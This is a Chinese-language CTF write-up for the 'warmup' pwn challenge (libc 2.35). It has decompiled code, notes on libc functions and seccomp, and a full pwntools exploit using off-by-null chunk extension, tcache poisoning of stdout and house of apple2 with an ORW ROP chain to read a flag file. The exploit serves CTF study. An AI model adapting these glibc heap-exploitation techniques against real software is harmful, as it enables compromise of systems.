warmup libc 2.35

检查

第七届强网杯-PWN-【warmup】-LMLPHP

IDA逆向

main

void __fastcall __noreturn main(const char *a1, char **a2, char **a3)
{
  int v3; // eax

  pro_set();
  put_warmup_string();
  while ( 1 )
  {
    put_menu();
    v3 = input_number();
    if ( v3 == 4 )
      _exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      a1 = "Invalid!";
      puts("Invalid!");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          deldelete_note();
          break;
        case 1:
          add_note();
          break;
        case 2:
          首位、
          show_note(a1, a2);
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}

deldelete_note

unsigned __int64 delete_note()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  v1 = input_number();
  if ( v1 < 0x13 )
  {
    if ( chunk_addr_array[v1] )
    {
      free(chunk_addr_array[v1]);
      chunk_addr_array[v1] = 0LL;
      puts("Success~");
    }
  }
  else
  {
    puts("Error!");
  }
  return v2 - __readfsqword(0x28u);
}

add_note

unsigned __int64 add_note()
{
  int i; // [rsp+Ch] [rbp-14h]
  int size; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 18 && chunk_addr_array[i]; ++i )
    ;
  if ( i == 19 )
  {
    puts("FUll!");
  }
  else
  {
    printf("Size: ");
    size = input_number();
    if ( size <= 0 || size > 0xFFFF )
    {
      puts("Error!");
    }
    else
    {
      chunk_addr_array[i] = malloc(size);
      if ( !chunk_addr_array[i] )
      {
        puts("Error!");
        _exit(0);
      }
      printf("Note: ");
      *((_BYTE *)chunk_addr_array[i] + (int)read(0, chunk_addr_array[i], size)) = '\0';// chunk的内容尾部为空字符
      puts("Success~");
    }
  }
  return v3 - __readfsqword(0x28u);
}

show_note

unsigned __int64 show_note()
{
  unsigned int index; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Index: ");
  index = input_number();
  if ( index < 0x13 )
  {
    if ( chunk_addr_array[index] )
    {
      printf("Note: ");
      puts((const char *)chunk_addr_array[index]);
    }
  }
  else
  {
    puts("Error!");
  }
  return v2 - __readfsqword(0x28u);
}

input_number

int input_number()
{
  char s[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(s, 0, sizeof(s));
  read_16(s, 16LL);
  return atoi(s);
}

read_16

unsigned __int64 __fastcall read_16(char *a1, __int64 int64_16)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v7 = __readfsqword(0x28u);
  while ( int64_16-- )
  {
    one_char = read(0, a1, 1uLL);
    if ( !one_char )
      break;
    if ( one_char == -1 )
    {
      if ( *__errno_location() != 11 && *__errno_location() != 4 )
        return v7 - __readfsqword(0x28u);
    }
    else
    {
      if ( *a1 == '\n' )
      {
        *a1 = 0;
        return v7 - __readfsqword(0x28u);
      }
      ++a1;
    }
  }
  return v7 - __readfsqword(0x28u);
}

atoi

atoi 是 C 语言标准库中的一个函数,用于将字符串转换为整数。该函数的名称源自 “ASCII to integer” 的缩写。atoi 函数定义在 <stdlib.h> 头文件中,它所做的基本上就是解析一个字符串并将其转换成一个 int 类型的数值。

函数的原型如下:


int atoi(const char *str);

参数 str 是一个指向以空字符 ‘\0’ 结尾的字符数组(即 C 字符串)的指针。atoi 函数会扫描字符串 str,跳过任何空白字符(如空格),直到遇到第一个非空白的字符为止,然后从这个字符开始解析直到遇到第一个非数字的字符或字符串结尾。

下面是 atoi 方法使用的一般步骤:

  1. 忽略字符串前面的所有空白字符。
  2. 记录正负符号(如果有的话)。正数通常不带符号,而负数以 - 开头。
  3. 解析字符串中的数字,直到遇到非数字字符或字符串末尾。
  4. 将解析到的数字收集起来并转换成一个整数。
  5. 如果解析到的数字前带有 -,则将结果转换为负数。

__errno_location()

__errno_location() 是在某些 UNIX-like 系统上,特别是在 Linux 系统的 GNU C Library (glibc) 中定义的一个函数。这个函数用于获取 errno 的地址。errno 是一个全局变量或宏定义,用于存储函数在执行时遇到的错误代码。

在多线程应用程序中,使用全局变量存储错误码会有问题,因为当多个线程同时更新这个变量时将会相互冲突。为了解决这个问题,errno 在多线程环境中一般实现为一个宏,映射到一个线程局部存储(thread-local storage,TLS), 确保每个线程都有自己的 errno 值副本。

__errno_location() 函数就是用来获取当前线程 errno 变量地址的函数。这个函数通常不会被应用程序直接使用,而是由 errno 宏调用来获取当前线程的 errno 值。如果你直接包含 <errno.h> 并使用 errno,编译器在大多数现代系统上会自动处理成调用类似 __errno_location() 的函数。

相关解释

if (one_char == -1): 这行代码检查变量 one_char 是否等于 -1。在涉及从流中读取字符的函数中,-1 通常表示发生了一个错误或到达了文件末尾(EOF)。

if (*__errno_location() != 11 && *__errno_location() != 4): 这是一个嵌套的 if 语句,当 one_char 等于 -1 时会执行。它使用 __errno_location() 函数获取 errno 的地址,并通过解引用来检查其值。它检查 errno 是否不等于 11 和 4,这两个数字分别代表特定的错误码:

11 是 EAGAIN (Linux 上的错误代码),表示 I/O 操作会阻塞,应稍后重试。
4 是 EINTR,表示操作在能完成之前被信号中断了。

prctl相关

#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

// 主要关注prctl()函数的第一个参数,也就是option,设定的option的值的不同导致黑名单不同,介绍2个比较重要的option
// PR_SET_NO_NEW_PRIVS(38) 和 PR_SET_SECCOMP(22)

// option为38的情况
// 此时第二个参数设置为1,则禁用execve系统调用且子进程一样受用
prctl(38, 1LL, 0LL, 0LL, 0LL);

// option为22的情况
// 此时第二个参数为1,只允许调用read/write/_exit(not exit_group)/sigreturn这几个syscall
// 第二个参数为2,则为过滤模式,其中对syscall的限制通过参数3的结构体来自定义过滤规则。
prctl(22, 2LL, &v1);
复制代码

思路

高版本off by null利用技巧产生chunk extend

高版本off by null

泄露libc基地址

extend后的大chunk遇到malloc分割后剩余的部分与原相关得到的chunk的位置重合,从而邪路unsortedbin基地址

泄露heap基地址

与泄露libc基地址差不多,只不过该chunk被free到tcachebin里了

修改放入tcachebin中的chunk的fd为stdout

记得先提前free一个chunk到tcachebin中,然后再修改

通过free掉一个chunk,使得该chunk位于tcachebin中并且然后通过另一个原chunk再次add并且add的size范围包括该free的chunk的开始一部分,从而能够使得add时修改该freechunk的开始的一部分

最后add两个chunk

如何布置参考house of apple2
使得第一个chunk布置相关rop,第二个chunk布置相关IO_FILE_plus_struct的伪造结构体,然后根据house of apple2来布置,并最后orw

exp

from pwn import *
from pwncli import *

context(os="linux",arch="amd64")
f=process("./warmup")
libc=ELF("./libc.so.6")
#gdb.attach(f)

def menu(number):
    f.recvuntil(b">> ")
    f.sendline(str(number))

def add(size,content):
    menu(1)
    f.sendlineafter(b"Size: ",str(size))
    f.sendafter(b"Note: ",content)


def show(index):
    menu(2)
    f.sendlineafter(b"Index: ",str(index))

def delete(index):
    menu(3)
    f.sendlineafter(b"Index: ",str(index))

add(0x410,"0")#0
add(0x100,"0")#1
add(0x410,"0")#2 合并3的
add(0x440,"0")#3 
add(0x40,"0")#4 off by one写5
add(0x4d0,"0")#5 合并6的
add(0x410,"0")#6
add(0x10,"0")#7 防止合并的

delete(0)
delete(3)
delete(6)
delete(2)

payload=0x410*b"a"+p64(0)+p8(0xa0)+p8(0x4)
add(0x430,payload)# 0 对应原来2
add(0x410,"0")# 2 对应原来6
add(0x410,"0")# 3 对应原来0
add(0x420,"0")# 6 对应原来的3+0x20

delete(3)# 原来0
delete(6)# 原来3+0x20


add(0x410,p64(0)) # 3 原来0
add(0x420,"0") # 6 原来3+0x20

delete(6)
delete(2)
delete(5)


payload=0x4e0*b"a"
add(0x4f0,payload)# 2 原来5
add(0x3f0,"0") # 5 原来6+0x20
add(0x420,"0") # 6  原来3+0x20

delete(4) # 4
payload=0x40*b"a"+p64(0x4a0)
add(0x48,payload) # 4

delete(2)

add(0x10,"0") # 2
show(6) # unsorted bin addr

f.recvuntil("Note: ")
unsorted_bin_addr=f.recvuntil("\n")[:-1]
unsorted_bin_addr=u64(unsorted_bin_addr+2*b"\x00")
print("unsorted_bin_addr",hex(unsorted_bin_addr)) # -0x219ce0

libc_base=unsorted_bin_addr-0x219ce0
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
pop_rdxr12 = libc_base + 0x000000000011f0f7
ret = libc_base + 0x0000000000029cd6
pop_rax = libc_base + 0x0000000000045eb0
pop_rbp = libc_base + 0x000000000002a2e0
leave_ret = libc_base + 0x000000000004da83
close = libc_base + libc.sym['close']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
syscallret = libc_base + next(libc.search(asm('syscall\nret')))
stdout = libc.sym['_IO_2_1_stdout_'] + libc_base

add(0x300,"0") # 8
add(0x130,"0") # 9
add(0x3f0,"0") # 10
add(0x120,"0") # 11

add(0x3f0,"0") # 12
delete(12)

delete(8)
show(6) # heap addr

f.recvuntil("Note: ")
heap_addr=f.recvuntil("\n")[:-1]
heap_addr=int.from_bytes(heap_addr,"little")
heap_addr=heap_addr<<12
print("heap_addr",hex(heap_addr))


add(0x300,"0")# 8
delete(4)
delete(10)

payload=p64(((heap_addr + 0x1080) >> 12) ^ (stdout))[:-1]
payload=0x18*b"a"+p64(0x401)+payload
add(0x40,payload)#4




file1 = IO_FILE_plus_struct()
file1.flags = 0
file1._IO_read_ptr = pop_rbp
file1._IO_read_end = heap_addr + 0x1080  - 8
file1._IO_read_base = leave_ret
file1._IO_write_base = 0
file1._IO_write_ptr = 1
file1._lock = heap_addr 
file1.chain = leave_ret
file1._codecvt =stdout
file1._wide_data =stdout - 0x48
file1.vtable = libc.sym['_IO_wfile_jumps'] + libc_base - 0x20
print("vatable vaule",hex(file1.vtable))

print(len(file1))

flag_addr = heap_addr+ 0x100+0x1080
payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscallret) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdxr12) + p64(0x50) + p64(0) + p64(read) + p64(pop_rdi) + p64(1) + p64(write)
payload = payload.ljust(0x100, b'\x00')
payload += b'./flag\x00'


add(0x3f0,  payload) #10

add(0x3f0, bytes(file1))

f.interactive()

03-09 08:41